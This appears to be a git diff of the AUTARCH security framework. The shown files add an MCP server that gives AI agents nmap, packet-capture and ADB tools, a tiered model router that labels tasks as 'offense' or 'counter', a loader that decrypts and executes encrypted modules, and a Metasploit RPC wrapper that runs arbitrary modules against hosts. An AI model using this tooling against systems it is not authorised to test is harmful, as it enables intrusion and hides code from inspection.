return json.dumps({'error': 'Capture timed out'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_wg_status(config) -> str:
wg = find_tool('wg')
if not wg:
return json.dumps({'error': 'wg not found'})
iface = config.get('wireguard', 'interface', 'wg0')
try:
result = subprocess.run(
[str(wg), 'show', iface],
capture_output=True, text=True, timeout=10
)
return json.dumps({
'interface': iface,
'output': result.stdout,
'active': result.returncode == 0
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_upnp_status(config) -> str:
upnpc = find_tool('upnpc')
if not upnpc:
return json.dumps({'error': 'upnpc not found'})
try:
result = subprocess.run(
[str(upnpc), '-l'],
capture_output=True, text=True, timeout=10
)
return json.dumps({
'output': result.stdout,
'exit_code': result.returncode
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_system_info() -> str:
import platform
info = {
'hostname': socket.gethostname(),
'platform': platform.platform(),
'python': platform.python_version(),
'arch': platform.machine(),
}
try:
info['ip'] = socket.gethostbyname(socket.gethostname())
except Exception:
info['ip'] = '127.0.0.1'
try:
with open('/proc/uptime') as f:
uptime_secs = float(f.read().split()[0])
days = int(uptime_secs // 86400)
hours = int((uptime_secs % 86400) // 3600)
info['uptime'] = f"{days}d {hours}h"
except Exception:
info['uptime'] = 'N/A'
# Tool availability
tools = {}
for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']:
tools[tool] = find_tool(tool) is not None
info['tools'] = tools
config = get_config()
info['llm_backend'] = config.get('autarch', 'llm_backend', 'local')
return json.dumps(info)
def _run_llm_chat(args: dict, config) -> str:
message = args.get('message', '')
if not message:
return json.dumps({'error': 'message is required'})
try:
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
llm.load_model()
system_prompt = args.get('system_prompt', None)
response = llm.chat(message, system_prompt=system_prompt)
return json.dumps({
'response': response,
'model': llm.model_name,
'backend': config.get('autarch', 'llm_backend', 'local')
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_adb_devices() -> str:
adb = find_tool('adb')
if not adb:
return json.dumps({'error': 'adb not found'})
try:
result = subprocess.run(
[str(adb), 'devices', '-l'],
capture_output=True, text=True, timeout=10
)
lines = result.stdout.strip().split('\n')[1:] # Skip header
devices = []
for line in lines:
if line.strip():
parts = line.split()
if len(parts) >= 2:
dev = {'serial': parts[0], 'state': parts[1]}
# Parse extra info
for part in parts[2:]:
if ':' in part:
k, v = part.split(':', 1)
dev[k] = v
devices.append(dev)
return json.dumps({'devices': devices})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_config_get(args: dict, config) -> str:
section = args.get('section', '')
key = args.get('key', '')
if not section or not key:
return json.dumps({'error': 'section and key are required'})
# Block sensitive keys
if key.lower() in ('api_key', 'password', 'secret_key', 'token'):
return json.dumps({'error': 'Cannot read sensitive configuration values'})
value = config.get(section, key, fallback='(not set)')
return json.dumps({'section': section, 'key': key, 'value': value})
def create_mcp_server():
"""Create and return the FastMCP server instance."""
from mcp.server.fastmcp import FastMCP
mcp = FastMCP("autarch", instructions="AUTARCH security framework tools")
# Register all tools
tool_defs = get_autarch_tools()
@mcp.tool()
def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str:
"""Run an nmap network scan against a target. Returns scan results including open ports and services."""
return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type})
@mcp.tool()
def geoip_lookup(ip: str) -> str:
"""Look up geographic and network information for an IP address."""
return execute_tool('geoip_lookup', {'ip': ip})
@mcp.tool()
def dns_lookup(domain: str, record_type: str = "A") -> str:
"""Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types."""
return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type})
@mcp.tool()
def whois_lookup(target: str) -> str:
"""Perform WHOIS lookup for a domain or IP address."""
return execute_tool('whois_lookup', {'target': target})
@mcp.tool()
def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str:
"""Capture network packets using tcpdump. Returns captured packet summary."""
return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter})
@mcp.tool()
def wireguard_status() -> str:
"""Get WireGuard VPN tunnel status and peer information."""
return execute_tool('wireguard_status', {})
@mcp.tool()
def upnp_status() -> str:
"""Get UPnP port mapping status."""
return execute_tool('upnp_status', {})
@mcp.tool()
def system_info() -> str:
"""Get AUTARCH system information: hostname, platform, uptime, tool availability."""
return execute_tool('system_info', {})
@mcp.tool()
def llm_chat(message: str, system_prompt: str = "") -> str:
"""Send a message to the currently configured LLM backend and get a response."""
args = {'message': message}
if system_prompt:
args['system_prompt'] = system_prompt
return execute_tool('llm_chat', args)
@mcp.tool()
def android_devices() -> str:
"""List connected Android devices via ADB."""
return execute_tool('android_devices', {})
@mcp.tool()
def config_get(section: str, key: str) -> str:
"""Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked."""
return execute_tool('config_get', {'section': section, 'key': key})
return mcp
def run_stdio():
"""Run the MCP server in stdio mode (for Claude Desktop / Claude Code)."""
mcp = create_mcp_server()
mcp.run(transport='stdio')
def run_sse(host: str = '0.0.0.0', port: int = 8081):
"""Run the MCP server in SSE (Server-Sent Events) mode for web clients."""
mcp = create_mcp_server()
mcp.run(transport='sse', host=host, port=port)
def get_mcp_config_snippet() -> str:
"""Generate the JSON config snippet for Claude Desktop / Claude Code."""
app_dir = get_app_dir()
python = sys.executable
config = {
"mcpServers": {
"autarch": {
"command": python,
"args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"],
"env": {}
}
}
}
return json.dumps(config, indent=2)
def get_server_status() -> dict:
"""Check if the MCP server is running."""
global _server_process
if _server_process and _server_process.poll() is None:
return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'}
return {'running': False}
def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict:
"""Start the MCP SSE server in the background."""
global _server_process
status = get_server_status()
if status['running']:
return {'ok': False, 'error': f'Already running (PID {status["pid"]})'}
python = sys.executable
script = str(Path(__file__).resolve())
_server_process = subprocess.Popen(
[python, script, '--sse', '--host', host, '--port', str(port)],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port}
def stop_sse_server() -> dict:
"""Stop the MCP SSE server."""
global _server_process
status = get_server_status()
if not status['running']:
return {'ok': False, 'error': 'Not running'}
_server_process.terminate()
try:
_server_process.wait(timeout=5)
except subprocess.TimeoutExpired:
_server_process.kill()
_server_process = None
return {'ok': True}
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='AUTARCH MCP Server')
parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)')
parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)')
parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)')
parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)')
args = parser.parse_args()
if args.sse:
print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}")
run_sse(host=args.host, port=args.port)
else:
# Default to stdio
run_stdio()

3049
core/menu.py Normal file

File diff suppressed because it is too large Load Diff

305
core/model_router.py Normal file
View File

@@ -0,0 +1,305 @@
"""
AUTARCH Model Router
Manages concurrent SLM/LAM/SAM model instances for autonomous operation.
Model Tiers:
SLM (Small Language Model) — Fast classification, routing, yes/no decisions
SAM (Small Action Model) — Quick tool execution, simple automated responses
LAM (Large Action Model) — Complex multi-step agent tasks, strategic planning
"""
import json
import logging
import threading
from typing import Optional, Dict, Any
from enum import Enum
from .config import get_config
_logger = logging.getLogger('autarch.model_router')
class ModelTier(Enum):
SLM = 'slm'
SAM = 'sam'
LAM = 'lam'
# Fallback chain: if a tier fails, try the next one
_FALLBACK = {
ModelTier.SLM: [ModelTier.SAM, ModelTier.LAM],
ModelTier.SAM: [ModelTier.LAM],
ModelTier.LAM: [],
}
class _TierConfigProxy:
"""Proxies Config but overrides the backend section for a specific model tier.
When a tier says backend=local with model_path=X, this proxy makes the LLM
class (which reads [llama]) see the tier's model_path/n_ctx/etc instead.
"""
def __init__(self, base_config, tier_name: str):
self._base = base_config
self._tier = tier_name
self._overrides: Dict[str, Dict[str, str]] = {}
self._build_overrides()
def _build_overrides(self):
backend = self._base.get(self._tier, 'backend', 'local')
model_path = self._base.get(self._tier, 'model_path', '')
n_ctx = self._base.get(self._tier, 'n_ctx', '2048')
n_gpu_layers = self._base.get(self._tier, 'n_gpu_layers', '-1')
n_threads = self._base.get(self._tier, 'n_threads', '4')
if backend == 'local':
self._overrides['llama'] = {
'model_path': model_path,
'n_ctx': n_ctx,
'n_gpu_layers': n_gpu_layers,
'n_threads': n_threads,
}
elif backend == 'transformers':
self._overrides['transformers'] = {
'model_path': model_path,
}
# claude and huggingface are API-based — no path override needed
def get(self, section: str, key: str, fallback=None):
overrides = self._overrides.get(section, {})
if key in overrides:
return overrides[key]
return self._base.get(section, key, fallback)
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
overrides = self._overrides.get(section, {})
if key in overrides:
try:
return int(overrides[key])
except (ValueError, TypeError):
return fallback
return self._base.get_int(section, key, fallback)
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
overrides = self._overrides.get(section, {})
if key in overrides:
try:
return float(overrides[key])
except (ValueError, TypeError):
return fallback
return self._base.get_float(section, key, fallback)
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
overrides = self._overrides.get(section, {})
if key in overrides:
val = str(overrides[key]).lower()
return val in ('true', '1', 'yes', 'on')
return self._base.get_bool(section, key, fallback)
# Delegate all settings getters to base (they call self.get internally)
def get_llama_settings(self) -> dict:
from .config import Config
return Config.get_llama_settings(self)
def get_transformers_settings(self) -> dict:
from .config import Config
return Config.get_transformers_settings(self)
def get_claude_settings(self) -> dict:
return self._base.get_claude_settings()
def get_huggingface_settings(self) -> dict:
return self._base.get_huggingface_settings()
class ModelRouter:
"""Manages up to 3 concurrent LLM instances (SLM, SAM, LAM).
Each tier can use a different backend (local GGUF, transformers, Claude API,
HuggingFace). The router handles loading, unloading, fallback, and thread-safe
access.
"""
def __init__(self, config=None):
self.config = config or get_config()
self._instances: Dict[ModelTier, Any] = {}
self._locks: Dict[ModelTier, threading.Lock] = {
tier: threading.Lock() for tier in ModelTier
}
self._load_lock = threading.Lock()
@property
def status(self) -> Dict[str, dict]:
"""Return load status of all tiers."""
result = {}
for tier in ModelTier:
inst = self._instances.get(tier)
settings = self.config.get_tier_settings(tier.value)
result[tier.value] = {
'loaded': inst is not None and inst.is_loaded,
'model_name': inst.model_name if inst and inst.is_loaded else None,
'backend': settings['backend'],
'enabled': settings['enabled'],
'model_path': settings['model_path'],
}
return result
def load_tier(self, tier: ModelTier, verbose: bool = False) -> bool:
"""Load a single tier's model. Thread-safe."""
settings = self.config.get_tier_settings(tier.value)
if not settings['enabled']:
_logger.info(f"[Router] Tier {tier.value} is disabled, skipping")
return False
if not settings['model_path'] and settings['backend'] == 'local':
_logger.warning(f"[Router] No model_path configured for {tier.value}")
return False
with self._load_lock:
# Unload existing if any
if tier in self._instances:
self.unload_tier(tier)
try:
inst = self._create_instance(tier, verbose)
self._instances[tier] = inst
_logger.info(f"[Router] Loaded {tier.value}: {inst.model_name}")
return True
except Exception as e:
_logger.error(f"[Router] Failed to load {tier.value}: {e}")
return False
def unload_tier(self, tier: ModelTier):
"""Unload a tier's model and free resources."""
inst = self._instances.pop(tier, None)
if inst:
try:
inst.unload_model()
_logger.info(f"[Router] Unloaded {tier.value}")
except Exception as e:
_logger.error(f"[Router] Error unloading {tier.value}: {e}")
def load_all(self, verbose: bool = False) -> Dict[str, bool]:
"""Load all enabled tiers. Returns {tier_name: success}."""
results = {}
for tier in ModelTier:
results[tier.value] = self.load_tier(tier, verbose)
return results
def unload_all(self):
"""Unload all tiers."""
for tier in list(self._instances.keys()):
self.unload_tier(tier)
def get_instance(self, tier: ModelTier):
"""Get the LLM instance for a tier (may be None if not loaded)."""
return self._instances.get(tier)
def is_tier_loaded(self, tier: ModelTier) -> bool:
"""Check if a tier has a loaded model."""
inst = self._instances.get(tier)
return inst is not None and inst.is_loaded
def classify(self, text: str) -> Dict[str, Any]:
"""Use SLM to classify/triage an event or task.
Returns: {'tier': 'sam'|'lam', 'category': str, 'urgency': str, 'reasoning': str}
Falls back to SAM tier if SLM is not loaded.
"""
classify_prompt = f"""Classify this event/task for autonomous handling.
Respond with ONLY a JSON object, no other text:
{{"tier": "sam" or "lam", "category": "defense|offense|counter|analyze|osint|simulate", "urgency": "high|medium|low", "reasoning": "brief explanation"}}
Event: {text}"""
# Try SLM first, then fallback
for tier in [ModelTier.SLM, ModelTier.SAM, ModelTier.LAM]:
inst = self._instances.get(tier)
if inst and inst.is_loaded:
try:
with self._locks[tier]:
response = inst.generate(classify_prompt, max_tokens=200, temperature=0.1)
# Parse JSON from response
response = response.strip()
# Find JSON in response
start = response.find('{')
end = response.rfind('}')
if start >= 0 and end > start:
return json.loads(response[start:end + 1])
except Exception as e:
_logger.warning(f"[Router] Classification failed on {tier.value}: {e}")
continue
# Default if all tiers fail
return {'tier': 'sam', 'category': 'defense', 'urgency': 'medium',
'reasoning': 'Default classification (no model available)'}
def generate(self, tier: ModelTier, prompt: str, **kwargs) -> str:
"""Generate with a specific tier, falling back to higher tiers on failure.
Fallback chain: SLM -> SAM -> LAM, SAM -> LAM
"""
chain = [tier] + _FALLBACK.get(tier, [])
for t in chain:
inst = self._instances.get(t)
if inst and inst.is_loaded:
try:
with self._locks[t]:
return inst.generate(prompt, **kwargs)
except Exception as e:
_logger.warning(f"[Router] Generate failed on {t.value}: {e}")
continue
from .llm import LLMError
raise LLMError(f"All tiers exhausted for generation (started at {tier.value})")
def _create_instance(self, tier: ModelTier, verbose: bool = False):
"""Create an LLM instance from tier config."""
from .llm import LLM, TransformersLLM, ClaudeLLM, HuggingFaceLLM
section = tier.value
backend = self.config.get(section, 'backend', 'local')
proxy = _TierConfigProxy(self.config, section)
if verbose:
model_path = self.config.get(section, 'model_path', '')
_logger.info(f"[Router] Creating {tier.value} instance: backend={backend}, model={model_path}")
if backend == 'local':
inst = LLM(proxy)
elif backend == 'transformers':
inst = TransformersLLM(proxy)
elif backend == 'claude':
inst = ClaudeLLM(proxy)
elif backend == 'huggingface':
inst = HuggingFaceLLM(proxy)
else:
from .llm import LLMError
raise LLMError(f"Unknown backend '{backend}' for tier {tier.value}")
inst.load_model(verbose=verbose)
return inst
# Singleton
_router_instance = None
def get_model_router() -> ModelRouter:
"""Get the global ModelRouter instance."""
global _router_instance
if _router_instance is None:
_router_instance = ModelRouter()
return _router_instance
def reset_model_router():
"""Reset the global ModelRouter (unloads all models)."""
global _router_instance
if _router_instance is not None:
_router_instance.unload_all()
_router_instance = None

239
core/module_crypto.py Normal file
View File

@@ -0,0 +1,239 @@
"""
AUTARCH Encrypted Module Cryptography
AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation
and SHA-512 integrity verification.
File format (.autarch):
Offset Size Field
────── ──── ─────────────────────────────────────────────────────
0 4 Magic: b'ATCH'
4 1 Version: 0x01
5 32 PBKDF2 salt
37 16 AES IV
53 64 SHA-512 hash of plaintext (integrity check)
117 2 Metadata JSON length (uint16 LE)
119 N Metadata JSON (UTF-8)
119+N ... AES-256-CBC ciphertext (PKCS7 padded)
"""
import hashlib
import hmac
import json
import os
import struct
from pathlib import Path
from typing import Optional
MAGIC = b'ATCH'
VERSION = 0x01
KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512)
SALT_LEN = 32
IV_LEN = 16
HASH_LEN = 64 # SHA-512 digest length
# ── Low-level AES (pure stdlib, no pycryptodome required) ────────────────────
# Uses Python's hashlib-backed AES via the cryptography package if available,
# otherwise falls back to pycryptodome, then to a bundled pure-Python AES.
def _get_aes():
"""Return (encrypt_func, decrypt_func) pair."""
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as sym_padding
from cryptography.hazmat.backends import default_backend
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
padder = sym_padding.PKCS7(128).padder()
padded = padder.update(plaintext) + padder.finalize()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
enc = cipher.encryptor()
return enc.update(padded) + enc.finalize()
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
dec = cipher.decryptor()
padded = dec.update(ciphertext) + dec.finalize()
unpadder = sym_padding.PKCS7(128).unpadder()
return unpadder.update(padded) + unpadder.finalize()
return encrypt, decrypt
except ImportError:
pass
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(pad(plaintext, 16))
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), 16)
return encrypt, decrypt
except ImportError:
raise RuntimeError(
"No AES backend available. Install one:\n"
" pip install cryptography\n"
" pip install pycryptodome"
)
_aes_encrypt, _aes_decrypt = _get_aes()
# ── Key derivation ────────────────────────────────────────────────────────────
def _derive_key(password: str, salt: bytes) -> bytes:
"""Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512."""
return hashlib.pbkdf2_hmac(
'sha512',
password.encode('utf-8'),
salt,
KDF_ITERS,
dklen=32,
)
# ── Public API ────────────────────────────────────────────────────────────────
def encrypt_module(
source_code: str,
password: str,
metadata: Optional[dict] = None,
) -> bytes:
"""
Encrypt a Python module source string.
Returns the raw .autarch file bytes.
"""
meta_bytes = json.dumps(metadata or {}).encode('utf-8')
plaintext = source_code.encode('utf-8')
salt = os.urandom(SALT_LEN)
iv = os.urandom(IV_LEN)
key = _derive_key(password, salt)
digest = hashlib.sha512(plaintext).digest()
ciphertext = _aes_encrypt(key, iv, plaintext)
meta_len = len(meta_bytes)
header = (
MAGIC
+ struct.pack('B', VERSION)
+ salt
+ iv
+ digest
+ struct.pack('<H', meta_len)
)
return header + meta_bytes + ciphertext
def decrypt_module(data: bytes, password: str) -> tuple[str, dict]:
"""
Decrypt an .autarch blob.
Returns (source_code: str, metadata: dict).
Raises ValueError on bad magic, version, or integrity check failure.
"""
offset = 0
# Magic
if data[offset:offset + 4] != MAGIC:
raise ValueError("Not a valid AUTARCH encrypted module (bad magic)")
offset += 4
# Version
version = data[offset]
if version != VERSION:
raise ValueError(f"Unsupported module version: {version:#04x}")
offset += 1
# Salt
salt = data[offset:offset + SALT_LEN]
offset += SALT_LEN
# IV
iv = data[offset:offset + IV_LEN]
offset += IV_LEN
# SHA-512 integrity hash
stored_hash = data[offset:offset + HASH_LEN]
offset += HASH_LEN
# Metadata
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
offset += 2
meta_bytes = data[offset:offset + meta_len]
offset += meta_len
metadata = json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
# Ciphertext
ciphertext = data[offset:]
# Derive key and decrypt
key = _derive_key(password, salt)
try:
plaintext = _aes_decrypt(key, iv, ciphertext)
except Exception as exc:
raise ValueError(f"Decryption failed — wrong password? ({exc})")
# Integrity check
actual_hash = hashlib.sha512(plaintext).digest()
if not hmac.compare_digest(actual_hash, stored_hash):
raise ValueError("Integrity check failed — file tampered or wrong password")
return plaintext.decode('utf-8'), metadata
def encrypt_file(src: Path, dst: Path, password: str, metadata: Optional[dict] = None) -> None:
"""Encrypt a .py source file to a .autarch file."""
source = src.read_text(encoding='utf-8')
blob = encrypt_module(source, password, metadata)
dst.write_bytes(blob)
def decrypt_file(src: Path, password: str) -> tuple[str, dict]:
"""Decrypt an .autarch file and return (source_code, metadata)."""
return decrypt_module(src.read_bytes(), password)
def load_and_exec(
path: Path,
password: str,
module_name: str = '__encmod__',
) -> dict:
"""
Decrypt and execute an encrypted module.
Returns the module's globals dict (its namespace).
"""
source, meta = decrypt_file(path, password)
namespace: dict = {
'__name__': module_name,
'__file__': str(path),
'__builtins__': __builtins__,
}
exec(compile(source, str(path), 'exec'), namespace)
return namespace
def read_metadata(path: Path) -> Optional[dict]:
"""
Read only the metadata from an .autarch file without decrypting.
Returns None if the file is invalid.
"""
try:
data = path.read_bytes()
if data[:4] != MAGIC:
return None
offset = 5 + SALT_LEN + IV_LEN + HASH_LEN
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
offset += 2
meta_bytes = data[offset:offset + meta_len]
return json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
except Exception:
return None

1150
core/msf.py Normal file

File diff suppressed because it is too large Load Diff

846
core/msf_interface.py Normal file
View File

@@ -0,0 +1,846 @@
"""
AUTARCH Metasploit Interface
Centralized high-level interface for all Metasploit operations.
This module provides a clean API for executing MSF modules, handling
connection management, output parsing, and error recovery.
Usage:
from core.msf_interface import get_msf_interface, MSFResult
msf = get_msf_interface()
result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'})
if result.success:
for finding in result.findings:
print(finding)
"""
import re
import time
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Any, Tuple
from enum import Enum
# Import the low-level MSF components
from core.msf import get_msf_manager, MSFError, MSFManager
from core.banner import Colors
class MSFStatus(Enum):
"""Status of an MSF operation."""
SUCCESS = "success"
PARTIAL = "partial" # Some results but also errors
FAILED = "failed"
AUTH_ERROR = "auth_error"
CONNECTION_ERROR = "connection_error"
TIMEOUT = "timeout"
NOT_CONNECTED = "not_connected"
@dataclass
class MSFResult:
"""Result from an MSF module execution."""
status: MSFStatus
module: str
target: str = ""
# Raw and cleaned output
raw_output: str = ""
cleaned_output: str = ""
# Parsed results
findings: List[str] = field(default_factory=list) # [+] lines
info: List[str] = field(default_factory=list) # [*] lines
errors: List[str] = field(default_factory=list) # [-] lines
warnings: List[str] = field(default_factory=list) # [!] lines
# For scan results
open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}]
services: List[Dict] = field(default_factory=list) # [{name, version, info}]
# Metadata
execution_time: float = 0.0
error_count: int = 0
@property
def success(self) -> bool:
return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL)
def get_summary(self) -> str:
"""Get a brief summary of the result."""
if self.status == MSFStatus.SUCCESS:
return f"Success: {len(self.findings)} findings"
elif self.status == MSFStatus.PARTIAL:
return f"Partial: {len(self.findings)} findings, {self.error_count} errors"
elif self.status == MSFStatus.AUTH_ERROR:
return "Authentication token expired"
elif self.status == MSFStatus.CONNECTION_ERROR:
return "Connection to MSF failed"
elif self.status == MSFStatus.TIMEOUT:
return "Module execution timed out"
else:
return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}"
class MSFInterface:
"""High-level interface for Metasploit operations."""
# Patterns to filter from output (banner noise, Easter eggs, etc.)
SKIP_PATTERNS = [
'metasploit', '=[ ', '+ -- --=[', 'Documentation:',
'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED',
'access security', 'access:', 'Ready...', 'Alpha E',
'Version 4.0', 'System Security Interface', 'Metasploit Park',
'exploits -', 'auxiliary -', 'payloads', 'encoders -',
'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >',
]
# Patterns indicating specific result types
PORT_PATTERN = re.compile(
r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?',
re.IGNORECASE
)
SERVICE_PATTERN = re.compile(
r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)',
re.IGNORECASE
)
VERSION_PATTERN = re.compile(
r'(?:version|running|server)[\s:]+([^\n\r]+)',
re.IGNORECASE
)
def __init__(self):
self._manager: Optional[MSFManager] = None
self._last_error: Optional[str] = None
@property
def manager(self) -> MSFManager:
"""Get or create the MSF manager."""
if self._manager is None:
self._manager = get_msf_manager()
return self._manager
@property
def is_connected(self) -> bool:
"""Check if connected to MSF RPC."""
return self.manager.is_connected
@property
def last_error(self) -> Optional[str]:
"""Get the last error message."""
return self._last_error
def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]:
"""Ensure we have a valid connection to MSF RPC.
Args:
password: Optional password to use for connection.
auto_prompt: If True, prompt for password if needed.
Returns:
Tuple of (success, message).
"""
# Check if already connected
if self.is_connected:
# Verify the connection is actually valid with a test request
try:
self.manager.rpc.get_version()
return True, "Connected"
except Exception as e:
error_str = str(e)
if 'Invalid Authentication Token' in error_str:
# Token expired, need to reconnect
pass
else:
self._last_error = error_str
return False, f"Connection test failed: {error_str}"
# Need to connect or reconnect
try:
# Disconnect existing stale connection
if self.manager.rpc:
try:
self.manager.rpc.disconnect()
except:
pass
# Get password from settings or parameter
settings = self.manager.get_settings()
connect_password = password or settings.get('password')
if not connect_password and auto_prompt:
print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}")
connect_password = input(f" Password: ").strip()
if not connect_password:
self._last_error = "No password provided"
return False, "No password provided"
# Connect
self.manager.connect(connect_password)
return True, "Connected successfully"
except MSFError as e:
self._last_error = str(e)
return False, f"MSF Error: {e}"
except Exception as e:
self._last_error = str(e)
return False, f"Connection failed: {e}"
def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]:
"""Execute commands via MSF console and capture output.
Args:
commands: Newline-separated commands to run.
timeout: Maximum wait time in seconds.
Returns:
Tuple of (output, error_message).
"""
try:
# Create console
console = self.manager.rpc._request("console.create")
console_id = console.get("id")
if not console_id:
return "", "Failed to create console"
try:
# Wait for console to initialize and consume banner
time.sleep(2)
self.manager.rpc._request("console.read", [console_id])
# Send commands one at a time
for cmd in commands.strip().split('\n'):
cmd = cmd.strip()
if cmd:
self.manager.rpc._request("console.write", [console_id, cmd + "\n"])
time.sleep(0.3)
# Collect output
output = ""
waited = 0
idle_count = 0
while waited < timeout:
time.sleep(1)
waited += 1
result = self.manager.rpc._request("console.read", [console_id])
new_data = result.get("data", "")
if new_data:
output += new_data
idle_count = 0
else:
idle_count += 1
# Stop if not busy and idle for 3+ seconds
if not result.get("busy", False) and idle_count >= 3:
break
# Check for timeout
if waited >= timeout:
return output, "Execution timed out"
return output, None
finally:
# Clean up console
try:
self.manager.rpc._request("console.destroy", [console_id])
except:
pass
except Exception as e:
error_str = str(e)
if 'Invalid Authentication Token' in error_str:
return "", "AUTH_ERROR"
return "", f"Console error: {e}"
def _clean_output(self, raw_output: str) -> str:
"""Remove banner noise and clean up MSF output.
Args:
raw_output: Raw console output.
Returns:
Cleaned output string.
"""
lines = []
for line in raw_output.split('\n'):
line_stripped = line.strip()
# Skip empty lines
if not line_stripped:
continue
# Skip banner/noise patterns
skip = False
for pattern in self.SKIP_PATTERNS:
if pattern.lower() in line_stripped.lower():
skip = True
break
if skip:
continue
# Skip prompt lines
if line_stripped.startswith('>') and len(line_stripped) < 5:
continue
# Skip set confirmations (we already show these)
if ' => ' in line_stripped and any(
line_stripped.startswith(opt) for opt in
['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS']
):
continue
lines.append(line)
return '\n'.join(lines)
def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]:
"""Parse cleaned output into structured data.
Args:
cleaned_output: Cleaned console output.
module_path: The module that was run (for context).
Returns:
Dictionary with parsed results.
"""
result = {
'findings': [],
'info': [],
'errors': [],
'warnings': [],
'open_ports': [],
'services': [],
'error_count': 0,
}
is_scanner = 'scanner' in module_path.lower()
is_portscan = 'portscan' in module_path.lower()
for line in cleaned_output.split('\n'):
line_stripped = line.strip()
# Categorize by prefix
if '[+]' in line:
result['findings'].append(line_stripped)
# Try to extract port/service info from scanner results
if is_scanner:
# Look for IP:port patterns
service_match = self.SERVICE_PATTERN.search(line)
if service_match:
ip, port, info = service_match.groups()
result['services'].append({
'ip': ip,
'port': int(port),
'info': info.strip()
})
# Look for "open" port mentions
if is_portscan and 'open' in line.lower():
port_match = re.search(r':(\d+)\s', line)
if port_match:
result['open_ports'].append({
'port': int(port_match.group(1)),
'state': 'open'
})
elif '[-]' in line or 'Error:' in line:
# Count NoMethodError and similar spam but don't store each one
if 'NoMethodError' in line or 'undefined method' in line:
result['error_count'] += 1
else:
result['errors'].append(line_stripped)
elif '[!]' in line:
result['warnings'].append(line_stripped)
elif '[*]' in line:
result['info'].append(line_stripped)
return result
def run_module(
self,
module_path: str,
options: Dict[str, Any] = None,
timeout: int = 120,
auto_reconnect: bool = True
) -> MSFResult:
"""Execute an MSF module and return parsed results.
Args:
module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp').
options: Module options dictionary.
timeout: Maximum execution time in seconds.
auto_reconnect: If True, attempt to reconnect on auth errors.
Returns:
MSFResult with parsed output.
"""
options = options or {}
target = options.get('RHOSTS', options.get('RHOST', ''))
start_time = time.time()
# Ensure connected
connected, msg = self.ensure_connected()
if not connected:
return MSFResult(
status=MSFStatus.NOT_CONNECTED,
module=module_path,
target=target,
errors=[msg]
)
# Build console commands
commands = f"use {module_path}\n"
for key, value in options.items():
commands += f"set {key} {value}\n"
commands += "run"
# Execute
raw_output, error = self._run_console_command(commands, timeout)
# Handle auth error with reconnect
if error == "AUTH_ERROR" and auto_reconnect:
connected, msg = self.ensure_connected()
if connected:
raw_output, error = self._run_console_command(commands, timeout)
else:
return MSFResult(
status=MSFStatus.AUTH_ERROR,
module=module_path,
target=target,
errors=["Session expired and reconnection failed"]
)
# Handle other errors
if error and error != "AUTH_ERROR":
if "timed out" in error.lower():
status = MSFStatus.TIMEOUT
else:
status = MSFStatus.FAILED
return MSFResult(
status=status,
module=module_path,
target=target,
raw_output=raw_output,
errors=[error]
)
